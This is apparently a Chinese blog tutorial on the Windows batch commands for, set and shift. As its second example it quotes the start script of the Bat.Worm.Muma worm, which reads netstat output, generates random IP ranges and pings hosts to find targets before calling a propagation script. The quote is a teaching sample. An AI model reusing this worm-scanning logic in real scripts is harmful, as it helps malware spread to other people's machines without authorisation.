北海亭-最简单实用的电脑知识、IT信息技术网站

北海亭-最简单实用的电脑知识、IT技术学习个人站

当前位置: 北海亭 > 软件教程 > 网络编程 >

批处理入门教程:批处理常用命令(5)

时间:2013-01-25 22:15来源:未知 作者:草房子 点击:
常用命令10、for、set、shift 为什么把这三个命令放到一起来讲?很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学

  常用命令10、for、set、shift

  为什么把这三个命令放到一起来讲?很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看实例十一:

代码

  @echo off

  for /? > for.txt

  set /? > set.txt

  shift /? >shift.txt

  exit

  执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。我在网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的帮助信息。我想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结出来的for、set和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到),一定会的,这是我的心愿之一!需要注意的一点是,这三个命令的帮助里 ,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的。要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它们的帮助文字就已经需要足够的耐心了,要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你的,关键还是那句话,看你有没有耐心去研究了。看看实例十二:

  START.BAT:

  CALL MUMA.BAT

代码

  SET IPA=192.168

  CALL 10.BAT 0

  :NEARAGAIN

  netstat -n|find ":" >A.TMP

  FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET

  NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT

  :START

  CALL RANDOM.BAT

  IF "%NUM1%"=="255" GOTO NEARAGAIN

  IF "%NUM1%"=="192" GOTO NEARAGAIN

  IF "%NUM1%"=="127" GOTO NEARAGAIN

  IF "%NUM2%"=="255" GOTO NEARAGAIN

  IF "%NUM3%"=="255" GOTO NEARAGAIN

  IF "%NUM4%"=="255" GOTO NEARAGAIN

  SET IPA=%NUM1%.%NUM2%

  ECHO START > A.LOG

  PING %IPA%.%NUM3%.1>B.TMP

  PING %IPA%.%NUM3%.%NUM4%>>B.TMP

  FIND /C /I "from" B.TMP

  IF ERRORLEVEL 1 GOTO START

  CALL 10.BAT %NUM3%

  DEL A.LOG

  GOTO START

  这是Bat.Worm.Muma病毒的起始脚本,设置了病毒运行的环境变量。

  其他DOS命令如copy、dir、del、type、path、break、start等内部命令,以及ping、net、cmd、at、sort、attrib、fc、find等外部命令,在批处理里的应用非常广泛。认识批处理,以及如何利用DOS命令组合出来一个完美的批处理脚本,去让它自动完成你想要它做的事情。

  扩展阅读:Win7系统保存记事本文件时怎样更改记事本文件扩展名?

(责任编辑:IT信息技术民工)
织梦二维码生成器
顶一下
(1)
100%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片
栏目列表
推荐内容